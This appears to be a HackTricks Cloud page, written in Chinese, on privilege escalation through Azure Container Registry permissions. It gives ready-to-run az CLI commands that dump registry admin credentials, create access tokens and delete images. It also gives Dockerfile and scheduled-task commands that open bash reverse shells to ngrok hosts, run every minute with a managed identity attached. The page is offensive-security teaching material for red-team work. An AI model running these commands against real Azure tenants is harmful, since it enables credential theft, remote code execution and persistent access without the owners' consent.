Az - Azure Container Registry Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Azure Container Registry
更多信息请查看:
Microsoft.ContainerRegistry/registries/listCredentials/action
此权限允许用户列出 ACR 的管理员凭据。这对于获得对注册表的完全访问非常有用。
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
如果管理员凭据未启用,您还需要权限 Microsoft.ContainerRegistry/registries/write 来启用它们:
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
Microsoft.ContainerRegistry/registries/tokens/write, Microsoft.ContainerRegistry/registries/generateCredentials/action
这些权限允许用户创建一个新的令牌,以访问注册表。
要使用 az cli 生成它,如以下示例所示,您还需要权限 Microsoft.ContainerRegistry/registries/read、Microsoft.ContainerRegistry/registries/scopeMaps/read、Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read、Microsoft.ContainerRegistry/registries/tokens/read。
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action, Microsoft.ContainerRegistry/registries/scheduleRun/action, Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action
这些权限允许用户在注册表中构建和运行映像。这可以用来在容器中执行代码。
Warning
然而,映像将在沙箱环境中执行,并且无法访问元数据服务。这意味着容器将无法访问实例元数据,因此这实际上对提升权限并没有什么用。
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
Microsoft.ContainerRegistry/registries/tasks/write
这是允许在注册表中创建和更新任务的主要权限。这可以用来在附加了托管身份的容器内执行代码。
这是如何在附加了系统托管身份的容器中执行反向 shell 的示例:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
另一种从任务中获取 RCE 而不使用外部存储库的方法是使用 az acr task create 命令和 --cmd 标志。这将允许您在容器中运行命令。例如,您可以使用以下命令运行反向 shell:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
Tip
请注意,分配系统托管身份时不需要任何特殊权限,但必须在注册表中先启用并分配一些权限,以便其有效。
要分配用户托管身份,您还需要权限Microsoft.ManagedIdentity/userAssignedIdentities/assign/action来执行:
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
要更新现有任务的仓库,您可以执行:
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
Microsoft.ContainerRegistry/registries/importImage/action
拥有此权限可以将图像导入到 Azure 注册表,即使没有本地图像。但是,请注意,您无法导入已在注册表中存在的标签的图像。
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
为了取消标记或删除特定的镜像标签,您可以使用以下命令。请注意,您需要具有足够权限的用户或令牌才能执行此操作:
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

